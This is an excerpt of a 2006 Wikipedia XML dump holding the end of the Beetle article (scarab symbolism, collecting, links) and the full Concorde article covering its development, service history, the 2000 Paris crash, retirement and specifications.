Many thousands of amulets and stamp seals have been excavated that depict the scarab. In many artifacts, the scarab is depicted pushing the sun along its course in the sky. During and following the [[New Kingdom]], scarab amulets were often placed over the heart of the [[mummy|mummified]] deceased. The amulets were often inscribed with a spell from the [[Book of the Dead]] which entreated the heart to, &quot;do not stand as a witness against me.&quot; 

&quot;Le Scarabée Sacré&quot;, the opening essay in [[Jean-Henri Fabre]]'s famous ''Souvenirs Entomologiques'', deals with the insect.

===Collecting===
[[Image:Beetle collection.jpg|thumb|300px|Beetle collection at the Melbourne Museum, Australia]]

The study of beetles is called [[coleopterology]], and its practitioners [[coleopterist]]s. See the list of [[list of notable coleopterists]] for more information.

There is a thriving industry in the collection of wild caught species for amateur and professional collectors.Click here [http://www.fond4beetles.com/collections.html] for a list of major collections.

&lt;br style=&quot;clear:both&quot;/&gt;

==Gallery==
&lt;gallery&gt;
Image:Anthrenus verbasci 1 (aka).jpg|''[[Anthrenus verbasci]]''
Image:Asian multicolored lady beetle.jpg|[[Lady beetle]]
Image:Cicindela sexguttata - six-spotted tiger beetle - desc-iridescent in sunlight on ground.jpg|[[Tiger beetle]]
Image:Dungbeetle.jpg|[[South African Dung Beetle]]
Image:Emerald ash beetle.jpg|[[Emerald Ash Beetle]]
Image:Aphthona flava flea beetle.jpg|[[Aphthona flava|Flea beetle]]
Image:Jbeetle.jpg|[[Japanese beetle]]
Image:Potato beetle larvae.jpg|[[Potato Beetle]] larvae
Image:Spotted flower chafer.jpg|[[Spotted Flower Chafer]]
Image:20050702 - Beetle (Cerambycidae Coleoptera) - California Prionus.JPG|[[California Prionus]]
Image:Beetle August 27-2005..png|[[Pelidnota punctata]]
Image:Beetle-Hissing.jpg|[[Passalidae|Bess Beetle]]
&lt;/gallery&gt;

== References ==
* Poul Beckmann, ''Living Jewels: The Natural Design of Beetles'' ISBN 3791325280
* Arthur V. Evans, Charles Bellamy, and Lisa Charles Watson, ''An Inordinate Fondness for Beetles'' ISBN 0520223233
* [[Entomological Society of America]], ''Beetle Larvae of the World'' ISBN 0643055061
* David Grimaldi, Michael S. Engel, ''Evolution of the Insects'' ISBN 0521821495
* [[Ross H. Arnett, Jr.]] and [[Michael C. Thomas]], ''[[American Beetles]]'' (CRC Press, 2001-2)
* K. W. Harde, ''A Field Guide in Colour to Beetles'' ISBN 0706419375 Pages 7-24

== Journals ==
*''[[The Coleopterist]]'' (UK)

==See also==
*[[Heteroptera]] - insect suborder that is superficially similar to beetles
*[[Insect]]

== External links ==
{{sisterlinks|Beetle}}
{{Wikibookspar|Dichotomous Key|Coleoptera}}
* [http://www.goliathus.cz Entomology] - online insect museum, entomology, tips and tricks, how to spread and pin [[insect]], etc.
* [http://www.goliathus.com Beetle breeding] - large gallery of beetles (more than 600 photos of 120+ species) available in several versions: [http://www.goliathus.com/cn/ chinese - 甲蟲飼養] , [http://www.goliathus.com/jp/ japanese - ブリード品] , [http://www.goliathus.com/de/ deutsch - Käferzuchtseite] , [http://www.goliathus.com/cs/ czech - chov brouků].
* http://www.coleopterist.org
* http://www.koleopterologie.de/gallery - Gallery of middle-European beetles
* [http://www.goliathus.com/en/gallery.php Photogallery of beetles] Large photogallery of tropical beetles.
* [http://tolweb.org/tree?group=Coleoptera&amp;contgroup=Endopterygota Coleoptera] from the [http://tolweb.org/tree Tree of Life]
* [http://www.exopest.com.au/borers/index.htm Australian borers species]
*[http://www.zin.ru/Animalia/Coleoptera/ Superb Russian site]
* [http://bugguide.net/node/view/60 North American Beetles] from [http://bugguide.net/ BugGuide]

[[Category:Beetles|*]]
[[Category:Insects]]

[[da:Biller]]
[[de:Käfer]]
[[es:Escarabajo]]
[[eo:Koleopteroj]]
[[fr:Coleoptera]]
[[ko:딱정벌레목]]
[[io:Koleoptero]]
[[it:Coleoptera]]
[[he:חיפושיות]]
[[la:Coleoptera]]
[[mg:Borera]]
[[nl:Kevers]]
[[ja:甲虫類]]
[[pl:Chrząszcze]]
[[pt:Coleoptera]]
[[fi:Kovakuoriaiset]]
[[sv:Skalbaggar]]
[[zh:鞘翅目]]</text>
    </revision>
  </page>
  <page>
    <title>Concorde</title>
    <id>7045</id>
    <revision>
      <id>41784663</id>
      <timestamp>2006-03-01T18:59:29Z</timestamp>
      <contributor>
        <ip>80.134.253.157</ip>
      </contributor>
      <comment>/* Paris crash */  m</comment>
      <text xml:space="preserve">{{OtherUses|a plane}}

The '''[[Aérospatiale]]-[[British Aircraft Corporation|BAC]] Concorde''' [[supersonic transport]] (SST) was one of only two models of [[supersonic]] passenger [[airliner]]s to have seen commercial service. Concorde had a cruise speed of [[Mach number|Mach]] 2.02 (around 2,170 [[km/h]] or 1,350 [[mph]]) and a maximum cruise altitude of 60,000 feet (18&amp;nbsp;300 [[Metre | metres]]) with a [[delta wing]] configuration and a [[afterburner (engine)|reheat]]-equipped evolution of the engines originally developed for the [[Avro Vulcan]] strategic [[bomber]]. It was the first civil airliner to be equipped with an analogue [[fly-by-wire]] flight control system. Commercial flights, operated by [[British Airways]] and [[Air France]], began on [[January 21]] [[1976]] and ended on [[October 24]] [[2003]], with the last &quot;retirement&quot; flight on [[November 26]] that year.

[[Image:ba.concorde.g-boac.719pix.jpg|350px|thumb|British Airways Concorde (G-BOAC).]]

==Origins==
[[image:concorde.highup.arp.2.750pix.jpg|thumb|left|Concorde's final flight, from Heathrow to Bristol, on [[November 26]] [[2003]].]]

In the late 1950s the [[United Kingdom|British]], [[France|French]], [[United States|Americans]] and [[Soviet Union|Soviets]] were all interested in developing [[supersonic transport]].

Britain's [[Bristol Aeroplane Company]] and France's [[Sud Aviation]] were both working on designs, called the [[Bristol 233|Type 233]] and [[Sud Aviation Super-Caravelle|Super-Caravelle]] respectively. Both were largely funded by their respective governments as a way of gaining some foothold in the aircraft market that was until then dominated by the [[United States]].

The designs were both ready to start into prototype construction in the early 1960s, but the cost was so great that the companies (and governments) decided to join forces. The development project was negotiated as an international [[treaty]] between Britain and France rather than a commercial agreement between companies. This included a clause, originally asked for by Britain, on penalties for cancellation (it turned out that Britain was the country that tried to get out). A draft treaty was signed on [[November 28]] [[1962]]. By this time both companies had been merged into new ones, and the Concorde project was thus a part of the [[British Aerospace|British Aircraft Corporation]] and [[Aerospatiale]]. The consortium secured orders for over 100 new airliners from the leading airlines of the time. [[Pan Am]], [[BOAC]] and [[Air France]] were the launch customers with six Concordes each. Some of the airlines in the order book included: [[Japan Airlines]], [[Lufthansa]], [[American Airlines]], [[United Airlines]], [[Air Canada]], [[Braniff]], [[Iran Air]], [[Qantas]], [[CAAC]], [[Middle East Airlines]] and [[TWA]].

The aircraft was initially referred to in Britain as &quot;Concord&quot;. In 1967 the British Government Minister for Technology, [[Tony Benn]] announced that it would change the spelling to &quot;Concorde&quot; to match the French spelling, much to the chagrin of [[Prime Minister]] [[Harold Wilson]]. This created a nationalistic uproar but it died down when Benn stated that the suffixed &quot;e&quot; represented &quot;Excellence, England, Europe and Entente (Cordiale)&quot;. In his memoirs, he recounts a tale of a letter from an irate Scotsman asking how the 'E' represents [[Scotland]], given Scotland's contribution of providing the nosecone for the aircraft. Benn replied &quot;E stands also for Ecosse&quot;, the [[French language|French]] name for Scotland.

Construction of the first two prototypes began in February, 1965. Concorde 001 was built by Aerospatiale at Toulouse and Concorde 002 by BAC at Filton, Bristol. Concorde 001 took off for the first test flight from [[Toulouse]] on [[March 2]] [[1969]] and the first supersonic flight followed on [[October 1]]. As the flight programme of the first development aircraft progressed, 001 started off on a sales and demonstration tour beginning on [[September 4]] [[1971]]. Concorde 002 followed suit in [[June 2]] [[1972]] with a sales tour of the Middle and Far East. Concorde 002 made the first visit to the [[United States]] in 1973, landing at the new [[Dallas/Fort Worth International Airport]] to commemorate its opening. These trips led to an influx of orders for over 70 aircraft. However, a combination of factors caused a sudden cascade of order cancellations, including the 1970s oil crisis, acute financial difficulties of the partner airlines, a spectacular crash of the competing Soviet [[Tupolev Tu-144]], and environmental issues such as [[sonic boom]] noise and pollution. [[Air France]] and [[British Airways]] ended up as the only buyers. The aircraft and parts were later sold to them for the nominal price of one [[Pound Sterling|British pound]] apiece; however, the governments continued to take a cut of any profits made.

The [[United States]] had cancelled its supersonic ([[Supersonic transport|SST]]) program in 1971. Two designs had originally been submitted; the [[Lockheed L-2000]], looking like a scaled-up Concorde, lost out to the [[Boeing 2707]], which had originally been intended to be faster, carry 300 passengers, and feature a [[swing-wing]] design. It was suggested in [[France]] and the [[United Kingdom]] that part of the American opposition to Concorde on grounds of noise pollution was in fact orchestrated or at least encouraged by the [[United States Government]] out of spite at not being able to propose a viable competitor. However, other countries, such as Malaysia, also ruled out Concorde supersonic overflights due to noise issues.

Both European airlines operated demonstration and test flights to various destinations from 1974 onwards. The testing of Concorde set records which are still not surpassed; it undertook 5,335 flight hours in the prototype, preproduction, and first production aircrafts alone. A total of 2,000 test hours were supersonic. This equates to approximately four times as many as for similarly sized subsonic commercial aircraft.

== Technological features ==
[[image:supersonic.arp.750pix.jpg|thumb|An unusual angle on the final Concorde landing]]

Many features common in early 21st century airliners were first used in the Concorde.

For high speed and optimization of flight:
*Double-delta ([[ogive]]) shaped wings
*[[Rolls-Royce]]/[[Snecma]] [[Olympus]] [[turbojet]]s with reheat (afterburners)
*[[Supercruise]] capability
*Thrust-by-wire engines, ancestor of today's [[FADEC]] controlled engines
*[[Droop-nose]] section for good landing visibility

For weight-saving and enhanced performance:
* Mach 2.04 'sweet spot' for optimum fuel consumption (supersonic drag minimum, whilst jet engines are more efficient at high speed)
* Mostly aluminium construction for low weight and relatively conventional build
* Full-regime [[autopilot]] and autothrottle allowing &quot;hands off&quot; control of the aircraft from climb out to landing
* Fully electrically-controlled analogue [[fly-by-wire]] flight controls systems
* Multifunction flight control surfaces
* High-pressure hydraulic system of 28 MPa (4,000 lbf/in²) for lighter hydraulic systems components
* Fully electrically controlled analog [[brake-by-wire]] system
* Pitch trim by shifting fuel around the fuselage for centre-of-gravity control
* Parts milled from single alloy billet reducing the part number count

Concorde's primary legacy is the experience gained in its design and manufacture later became the basis of the [[Airbus]] consortium, and many of these features are now standard equipment in Airbus airliners. [[Snecma Moteurs]], for example, got its first entry into civil engines here. Experience with Concorde opened the way for it to establish the CFM International with [[GE]] producing the successful [[CFM International CFM56]] series engines.

Although Concorde was a technological marvel when introduced into service in the early 1970s, thirty years later its cockpit cluttered with analogue dials and switches looked very dated. With no competition in either type or airline service, there was no commercial pressure to upgrade Concorde with new avionics or passenger comforts, as occurred with other airliners of the same vintage (e.g. Boeing 747).

The primary partners, BAC (later to become [[BAE Systems]]) and Aerospatiale (later to become [[EADS]]), are the joint owners of Concorde's [[type certificate]]. Responsibility for the Type Certificate transferred to Airbus with formation of [[Airbus]] SAS.

==Scheduled flights==
[[Image:concorde.planview.arp.jpg|thumb|left|The final Concorde flight lands at Filton Airfield, near Bristol, on November 26, 2003]]

Scheduled flights started on [[January 21]] [[1976]] on the [[London]]-[[Bahrain]] and [[Paris]]-[[Rio de Janeiro|Rio]] routes. The [[Congress of the United States|U.S. Congress]] had just banned Concorde landings in the US, mainly due to citizen protest over [[sonic boom]]s, preventing launch on the coveted [[atlantic Ocean|transatlantic]] routes.
These concerns over sonic booms and the 'damage' allegedly caused by them (although never proven scientifically or otherwise) may have been caused by America's lack of success in building their own equivalent airliner.

When the US ban was lifted in February for over-water supersonic flight, [[New York]] quickly followed by banning Concorde locally. Left with little choice on the destination, AF and BA started transatlantic services to [[Washington, D.C.]] on [[May 24]]. Finally, in late 1977, the noise concerns of New York residents gave way to the advantages of Concorde traffic, and scheduled service from Paris and London to New York's [[JFK International Airport|John F. Kennedy airport]] started on [[November 22]] [[1977]]. Flights operated by BA were coded 'BA001' through 'BA004'.

The average flight time on the transatlantic routes was just under 3.5 hours. Up to 2003, both Air France and British Airways continued to operate the New York services daily. Additionally, Concorde flew to [[Barbados]]'s [[Grantley Adams International Airport]] during the winter holiday season and, occasionally, to charter destinations such as [[Rovaniemi]], [[Finland]]. On [[November 1]] [[1986]], a chartered Concorde circumnavigated the world in 31 hours and 51 minutes.

For a brief period in 1977, and again from 1979 to 1980, British Airways and [[Singapore Airlines]] used a shared Concorde for flights between Bahrain and [[Paya Lebar International Airport|Singapore Paya Lebar Airport]]. The aircraft, G-BOAD, was painted in Singapore Airways livery on the port side and British Airways livery on the starboard side. The service was discontinued after three months because of noise complaints from the [[Malaysia]]n government; it could only be reinstated when a new route, bypassing Malaysian airspace, was designed. However, an ongoing dispute with [[India]] prevented the Concorde from reaching supersonic speeds in Indian airspace, so the route was eventually declared not viable. From September 1978 to November 1982 during the Mexican oil boom, Air France flew the Concorde twice weekly to [[Mexico City]]'s [[Benito Juárez International Airport]] via Washington D.C.. The economic crisis caused the cancellation of the route to Mexico City and the last flights were almost empty. From time to time the Concorde came back on chartered flights with stops in Mexico City and Acapulco. 

British Airways also, between 1984 and 1991, offered a thrice weekly Concorde service to London from Miami. This was accomplished subsonically by extending the Dulles flight to Miami and returning the same way. 

From 1979 to 1980, [[Braniff International]] leased two Concordes, one each from [[British Airways]] and [[Air France]]. These were used on [[subsonic]] flights from [[Dallas-Fort Worth International Airport|Dallas-Fort Worth]] to [[JFK International Airport|JFK]], feeding the routes of BA and AF to London and Paris. The aircraft were registered in both the United States and their home countries, for legal reasons: a sticker would cover up each aircraft's European registration while it was being operated by Braniff. On DFW-JFK flights, the Concordes had Braniff flight crews, although they maintained their native airline livery. However, the flights were not profitable for Braniff and were usually less than 25% booked, which forced Braniff to end its term as the only U.S. Concorde operator.

==Passenger experience==
Compared to other commercial airliners, Concorde provided an unusual passenger experience. Both British Airways and Air France configured the passenger cabin as a single class with around 100 seats &amp;mdash; four seats across with a central aisle. Despite being a luxury class, most passengers were surprised to find how cramped the cabin was. Headroom in the central aisle was barely six feet (1.8 m), and the leather seats were unusually narrow with legroom comparable to economy class on other planes.

In the 1990s many features which were common in the first class and business class cabins of a long haul [[Boeing 747]] flight such as video entertainment, rotating or reclining seats and perambulatory areas, were completely absent from Concorde. The only video entertainment was a plasma display at the front of the cabin showing either the altitude, the air temperature or current speed in [[mach number]]. With almost no room for overhead storage, even carry on luggage was severely restricted. The ratio of cabin crew and lavatories per passenger was also considerably lower than typical for a first class cabin. These privations were offset by the much shorter flight time (typically three and a half hours to New York from London), making the Concorde attractive to business executives.

To make up for these missing features, service on the Concorde was to be &quot;first class&quot; in every sense of the word. Orders for drinks or other needs were met instantly and served with a flourish. Meals were served using specially designed compact [[Wedgwood]] crockery with short silver cutlery.

The unique experience of passing through the [[sound barrier]] was less dramatic than would be expected. The moment would be announced by one of the pilots, and could be seen on the cabin display, otherwise the slight surge in acceleration could easily be missed.

At twice the normal cruising altitude, turbulence was rare and the view from the windows clearly showed the curvature of the Earth. During the supersonic cruise, although the outside air temperature was typically -60 °C, air friction would heat the external skin at the front of the plane to around +120 °C making the windows warm to the touch and producing a noticeable temperature gradient along the length of the cabin causing the plane to expand during flight in length by up to thirty centimetres (twelve inches).

Most remarkably Concorde was able to overtake the [[terminator (solar)|terminator]], on routes where subsonic airliners fell behind. On certain early evening transatlantic flights departing from Heathrow or Paris, it was possible to take off at night and catch up with the sun, landing in daylight; from the cockpit you could see the sun rising from the horizon in the west. 
&lt;br clear=&quot;both&quot;&gt;

==Paris crash==
[[Image:Concorde crash.jpg|thumb|[[Air France]] Flight 4590 in flames, prior to the crash]]

On [[25 July]] [[2000]] [[Air France Flight 4590]] crashed in [[Gonesse]], [[France]]. 

All of the people (100 passengers and 9 crew) on board the flight perished, as well as four people on the ground. As the plane was on its take-off run from [[Charles de Gaulle Airport]], a metal piece punctured the tyres which then burst, puncturing the fuel tanks, possibly by a hydrodynamic pressure surge. Leaking fuel was ignited by an electric arc in the landing gear bay or through contact with the hot parts of the engine. A large plume of flame developed, and power was lost on engines 1 and 2 when the crew shut them down in response to warnings. Airspeed decayed, and the undercarriage could not be retracted. Eventually the crew lost control of the aircraft while trying to divert to nearby [[Le Bourget Airport]], leading to the loss of the aircraft as it crashed into a hotel.  [http://aviation-safety.net/database/record.php?id=20000725-0]

The report of the investigation was published on [[14 December]] [[2004]], attributing the crash to [[FOD|foreign object damage]] from a [[titanium]] strip that fell from another aircraft, a [[Continental Airlines]] [[DC-10]] which had taken off four minutes before. According to the report, the piece had not been approved by the US [[Federal Aviation Administration]].
However, Continental maintains that FAA regulations do allow the use of the titanium strip and added that this metal is more wear-resistant than the original part.

British and former French Concorde pilots looked at several other possibilities that the report ignored, including an unbalanced weight distribution in the fuel tanks and loose landing gear, which hinted at the Concorde veering off course on the runway, reducing take-off speed below the crucial minimum. The aircraft had veered very close to a Boeing 747 known to be carrying French President [[Jacques Chirac]]. 

The Concorde had been the safest working passenger airliner in the world according to passenger deaths per distance travelled, although the [[Boeing 737]] fleet acquires more passenger miles and service hours in one week than the Concorde fleet acquired in the course of its entire service career. The crash of the Concorde was the beginning of the end of its career.

The accident would make way for modifications to be made to Concorde, including more secure electrical controls, [[Kevlar]] lining to the fuel tanks, and specially developed, burst-resistant tyres. The new-style tyres would be yet another contribution from the Concorde programme to future aircraft development.

On [[March 10]] [[2005]] French authorities began a criminal investigation of Continental  Airlines.[http://www.usatoday.com/travel/news/2005-03-10-continental-concorde_x.htm]

As of [[October 2005]], Jacques Herubel, a former [[Aerospatiale]] engineer, is under investigation for negligence leading to the crash. A report stated that the company had more than 70 incidents involving Concorde tyres between 1979 and 2000, but had failed to take appropriate steps based upon these incidents.[http://news.bbc.co.uk/1/hi/world/europe/4285832.stm]

==Withdrawal from service==
[[Image:Concorde_Flight_Deck.jpg|thumb|right|300px|Chief Pilot [[Mike Bannister]] (left) and other pilots on flight deck of BA002 30th August 2002]] 
The first test-flight of the newly-improved Concorde flew from Heathrow Airport to the mid-Atlantic and back in preparation for a return to full scheduled service that week. The flight took place on [[September 11]] [[2001]], and was in the air when the [[September 11, 2001 attacks|attacks on the World Trade Center]] were taking place. 

On [[April 10]] [[2003]] British Airways and Air France simultaneously announced that they would retire the Concorde later that year. They cited low passenger numbers following the [[July 25]] [[2000]] crash, the slump in air travel following 9/11, and rising maintenance costs.

That same day [[Richard Branson|Sir Richard Branson]] offered to buy British Airways' Concordes at their original price of £1 for service with his [[Virgin Atlantic Airways]]. Branson claimed this to be the same token price that British Airways had paid the British Government, but BA denied this- and refused the offer. Indeed, after posting large losses on their Concorde flights in the 1980s, British Airways had paid a flat sum to the UK government to buy their Concordes outright. After doing a market survey and discovering that their target customers thought that Concorde was more expensive than it actually was; BA then raised prices to match. It may be that BA then ran Concorde at net profit, unlike their French counterparts, although BA refused to open the accounts.

Branson later wrote to ''[[The Economist]]'' ([[23 October]] [[2003]]) that his final offer was &quot;over £5 million&quot; and that he had intended to operate the fleet &quot;for many years to come&quot;.  Any hope of Concorde remaining in service was further thwarted by Airbus' unwillingness to provide maintenance support for the aging airframes.

===Air France===
Air France made its final Concorde landing in the [[United States]] in [[New York City]] from [[Paris]] on [[May 30]] [[2003]]. Firetrucks sprayed the traditional arcs of water above the aircraft on the tarmac of John F. Kennedy airport. It made its final commercial flight back to Paris the following day. The end of Air France's Concorde services was also marked by a charter around the [[Bay of Biscay]].

An [[auction]] of Concorde parts and memorabilia for Air France was held at [[Christie's]] in Paris, on [[November 15]] [[2003]]. One thousand three hundred people attended, and several lots exceeded their predicted values by a factor of ten or more.

===British Airways===
[[Image:Golden Jubilee Palace 43.JPG|thumb|right|A special fly-past of Concorde and the Red Arrows for the Queen's Golden Jubilee celebrations.]]
BA's last Concorde departure from the [[Grantley Adams International Airport]] in [[Barbados]] was on [[August 30]] [[2003]]. G-BOAG visited [[Toronto Pearson International Airport]] on [[October 1]] [[2003]].

A final week of farewell flights saw Concorde visiting [[Birmingham]] on [[October 20]], [[Belfast]] on [[October 21]], [[Manchester]] on [[October 22]], [[Cardiff]] on [[October 23]], and [[Edinburgh]] on [[October 24]]. Each day the aircraft made a return flight out and back into [[Heathrow]] to the cities concerned, often overflying those cities at low altitude. Over 650 competition winners and 350 special guests were carried.

On the evening of [[October 23]] [[2003]], [[Elizabeth II of the United Kingdom|the Queen]] consented to the illumination of [[Windsor Castle]], as Concorde's last ever west-bound commercial flight departed London, and flew overhead. This is an honour normally restricted to major state events and visiting dignitaries.

British Airways retired its aircraft the next day, [[October 24]]. One Concorde left New York to a fanfare similar to its Air France predecessor's, while two more made round-trips, one over the Bay of Biscay, carrying VIP guests including many former Concorde pilots, and one to Edinburgh. The three aircraft then circled over London, having received special permission to fly at low altitude, before landing in sequence at Heathrow. The two round-trip Concordes landed at 4:01 and 4:03 PM [[British Summer Time|BST]], followed at 4:05 by the one from New York. All three aircraft then spent 45 minutes taxiing around the airport before finally disembarking the last supersonic fare-paying passengers. The pilot of the New York to London flight was [[Mike Bannister]].

Passengers on the final transatlantic flight included:

*Poet [[Maya Angelou]]
*[[Tony Benn]]
*Former US model [[Christie Brinkley]]
*Ballerina [[Darcey Bussell]]
*TV motoring correspondent [[Jeremy Clarkson]]
*[[Joan Collins]] and her husband Percy Gibson.
*[[Formula One]] chief [[Bernie Ecclestone]]
*Sir [[David Frost (broadcaster)|David Frost]]
*Stock Exchange chairman [[Chris Gibson-Smith]]
*Actor [[Nigel Havers]]
*Model [[Jodie Kidd]]
*British Airways chairman [[Lord Marshall|Colin Marshall, Baron Marshall of Knightsbridge]]
*Advertising mogul [[Saatchi &amp; Saatchi|Lord Saatchi]]
*[[Piers Morgan]], then editor of the [[Daily Mirror]]
*[[CNN]] anchor [[Richard Quest]]
*The chairmen or chief executives of:
**[[GlaxoSmithKline]]
**[[BAE Systems]]
**[[Merrill Lynch]]
**[[Deutsche Bank]]
**[[P&amp;O]]
**The [[Royal Bank of Scotland]]
*A lucky traveller, who had booked a regular ticket over a year earlier.
*The winner (and guest) of an eBay auction conducted by British Airways.
*The two winners of an [[Australian]] television promotion.

[[Bonhams]] held an [[auction]] of British Airways' Concorde artefacts on [[December 1]] [[2003]] at [[Olympia Exhibition Centre]], in Kensington, London. Items sold included a machmeter, a nose cone, Concorde pilot and passenger seats and even the [[cutlery]], ashtrays and blankets used onboard. About £¾ million was taken, with the first half-million going to &quot;Get Kids Going!&quot;, a charity which gives disabled children and young people the opportunity to participate in sport.

==Aircraft histories==
Only 20 Concordes were built, six for development and 14 for commercial service.

These were:
*Two prototypes
*Two pre-production aircraft
*16 production aircraft
**The first two of these did not enter commercial service
**Of the 14 which flew commercially, 12 were still in service in April 2003

All but two of these aircraft - a remarkably high percentage for any commercial fleet - are preserved. The two which are not are F-BVFD (cn 211), which was withdrawn from service in the 1980s and scrapped in 1994; and F-BTSC (cn 203), which crashed in Paris.

{{further|[[Concorde aircraft histories]]}}

==Cultural and political impact==
The aeroplane remains a powerful symbol of ultra-modern technology although 34 years old, and many people appreciate its sculptural shape. It is a symbol of national pride to many in Britain and France; in France it was thought of as a French aircraft, in Britain as British.

The reaction of people to the prospect of severe overflying noise also represented a socially important change. Prior to Concorde's flight trials the developments made by the civil aviation industry were largely accepted by developed democratic governments and their electors. The popular backlash (particularly on the eastern seaboard of the USA) against the noise of Concorde represented a political turning point and thereafter scientists and technologists in many industries began to take environmental and societal impacts more seriously, accepting that engineers, powerful investors and governments could not always dictate the parameters of debate and allow their narrow economic or career interests to prevail. One of the key protesters to the &quot;SST&quot; (Super Sonic Transport - the US term given to the Concorde aircraft), [[Carol Vendi]], ultimately gained political ground over the whole issue and was elected to the [[US Congress]]. Concorde led directly to a general reduction of noise of aircraft flying out of JFK; it was found that Concorde was actually quieter than the other aircraft (due to the pilots temporarily throttling back their engines to reduce noise during overflight of residential areas). This caused the other airliner pilots to have to follow suit.

One great irony in the quashing of the Concorde's mass production was the myth of ozone threat. An anti-SST scientist suggested that the jet would produce exhaust which would cause the destruction of the earth's ozone layer, causing &quot;a massive outbreak of skin cancer&quot; and other effects, and this quickly became an accepted view, contributing greatly to the movement against the SST. But, when actual science was applied to the question, it was found that Concorde exhaust emissions, containing [[NOx]], would actually ''increase'' the ozone layer, to the infinitesimal degree that something so insignificant as a plane would have any effect, either way.

From this perspective, Concorde's great technical leap forward can be viewed as triggering a cultural leap forward and a boost to the public's (and the media's) understanding of conflicts between technology and natural ecosystems that continues to reverberate around the world. Thus, the fact that many larger [[jet airliner]]s now produce fewer harmful emissions and smaller noise footprints than Concorde is, perhaps, part of the Concorde's legacy. In France the use of acoustic fencing alongside [[TGV]] tracks may be another outcome that might not have been achieved without the 1970s furore over aircraft noise. In Britain the [[CPRE]] have issued tranquility maps since 1990 and public agencies are starting to do likewise.

A regular ticket on Concorde was a privilege of the rich, but special circular (non-landing) or one-way (with return by coach or ship) charter flights were arranged to bring a trip within the means of moderately well-off enthusiasts. 

An over-flying example was usually referred to by the British as simply &quot;Concorde&quot; and the French as &quot;the Concorde&quot; (rather than &quot;a Concorde&quot;), as if there was only one.

A plane from the BA fleet made occasional flypasts at selected Royal events, major [[airshow]]s and other special occasions, sometimes in formation with the [[Red Arrows]]. On the final day of commercial service, grandstands were erected at London Heathrow for the public to watch the final arrivals, and there was extensive media coverage.

== Dimensions and specifications ==
Of a typical production-type aircraft. There are some variations.

* Overall length: 61.66 m
* Fuselage internal length: 39.32 m
* Fuselage max external width: 2.88 m
* Fuselage max internal width: 2.63 m
* Fuselage max external height: 3.32 m
* Fuselage max internal height: 1.96 m
* Wing span: 25.6 m
* Wing area: 358.25 m²
* Elevon area (each side):  16 m²
* Tail fin area: 33.91 m²
* Rudder area: 10.41 m²
* Powerplant: four [[Rolls-Royce plc|Rolls-Royce]]/[[SNECMA]] [[Rolls-Royce Olympus|Olympus 593]] Mk 610
* Max. thrust with [[Afterburner (engine)|reheat]]: 38,050 [[Pound-force|lbf]] (169 kN) per engine, without: 32,000 [[Pound-force|lbf]] (142 kN)
* Operating weight empty: 78,700 kg
* Max. fuel: 95,680 kg
* Max. taxing weight: 186,880 kg
* Max. takeoff weight: 185,070 kg
* Max. landing weight: 111,130 kg
* Max. landing weight without fuel: 92,080 kg
* Max. operation speed: [[Mach number|Mach]] 2.04 (~2170 km/h, ~1350 mph)
* Max. operating altitude: 18300 m (60,000&amp;nbsp;ft)
* Max. range: 7250 km
* Fuel consumed per kilometre for max. range (Max. fuel/Max. range): 13.2 kg/km
* Max. [[Heat shield|Nose tip temperature]]: 127 °C (Mach was sometimes reduced to keep the temperature within limits)

==Trivia==
* In transatlantic flight, Concorde travelled more than twice as fast as other aircraft, and other aircraft frequently appeared to be flying backwards.

* Concorde had quite small passenger windows. At the extremely high altitude that Concorde flew, a broken window could have led to the passengers and crew passing out before the aircraft could be brought down to a safe altitude. Standard oxygen masks wouldn't have helped. The windows were made smaller to limit the rate that the air could be lost.

* Due to the heat generated by the compression of the air as Concorde traveled supersonically, the fuselage would extend by as much as thirty centimetres, the most obvious manifestation of this being a gap that would open up on the flight deck between the [[flight engineer]]'s console and the bulkhead. On all the Concordes that had a supersonic flight before retirement, the flight engineers placed their hat in the gap before it cooled, where they remain to this day. However in the case of the Seattle museum's Concorde, the protruding cap was cut off by a thief in an apparent attempt to steal it, leaving a part behind. An amnesty led to the severed cap being returned; the museum has been examining options to reattach it in some way.

* During the multi-venue [[Live Aid]] famine relief concerts held on [[July 13]] [[1985]], pop star [[Phil Collins]] flew with Concorde from London so that he could perform at both venues (London and Philadelphia) on the same day.

* The vehicle used [[reheat]] ([[afterburners]]) to quickly get past the high-[[drag]] [[transonic]] regime (i.e. 'go supersonic'). Although the engines were quite capable of pushing the airframe supersonic without reheat, it was discovered operationally that it burnt more fuel that way, since the vehicle took much longer to accelerate through the transonic regime, even though reheat is quite inefficient.

* Concorde burnt a reasonably large amount of fuel, but perhaps not as much might be expected; per passenger it works out at about 14 [[mile]]s to the [[gallon]] (0.17 [[litre]]s per [[kilometre]]).

* Concorde flew fast enough that the weight of everyone onboard was temporarily reduced by about 1% when flying east. This was due to [[centrifugal]] effects since its airspeed added to the rotation speed of the Earth. Flying west this didn't happen to any significant degree, because it was fighting the rotation of the Earth, and the weight ended up almost normal.[http://www.phy6.org/stargaze/Srotfram1.htm]

==Possible replacement==
In November 2003, European aviation company EADS (the company behind [[Airbus]]) announced that it was considering working with Japanese companies to develop a larger, faster replacement for Concorde [http://news.bbc.co.uk/1/hi/business/3231354.stm].  However, recent news reports suggest only $1m is being invested every year into research, much less than the $1bn needed for the development of a viable airliner.

In [[October 2005]], [[Japan Aerospace Exploration Agency|JAXA]], the Japan Aerospace eXploration Agency, undertook aerodynamic testing of a scale model of a plane designed to carry 300 passengers at Mach 2. If pursued to commercial deployment, it would be expected to be in service around 2020 - 2025. [http://news.bbc.co.uk/2/hi/science/nature/4325634.stm]

==Films and television==
The Concorde has been featured or mentioned in:
*''[[The Concorde: Airport '79]]'': The Concorde used for the live-action aerial filming was the same Air France Concorde that crashed 21 years later on [[25 July]], [[2000]].
* ''[[The Concorde Affair]]'' (''Concorde Affaire'' in orig.) Italy 1979. Director: Ruggero Deodato
*''[[Moonraker]]'': Upon James Bond's arrival in Rio de Janeiro, a Concorde landing is shown, indicating that 007 flew to Brazil on an Air France Concorde.
*''[[Doctor Who]]'': Featured in the 1983 story '[[Time-Flight]]'
*''[[The Transformers]]'', as the [[Aerialbot]] leader [[Silverbolt]].
*''[[Coming to America]]'': Prince Akeem and Semmi arrive in New York on a British Airways Concorde.
*''[[Sabrina (1995 film)|Sabrina]]'': Linus takes the Concorde to beat Sabrina to [[Paris]].
*''[[Snatch (film)|Snatch]]'': The character Cousin Avy flew from New York City to London to see Doug the Head and flew back in the closing scene of the film.
*''[[The Parent Trap]]'': Hallie gets to London in &quot;half the time&quot; by taking the Concorde (no actual appearance).
*''[[National Treasure]]'': In the scene on the [[USS Intrepid]], the Concorde can be seen sitting on a barge in the Hudson River.
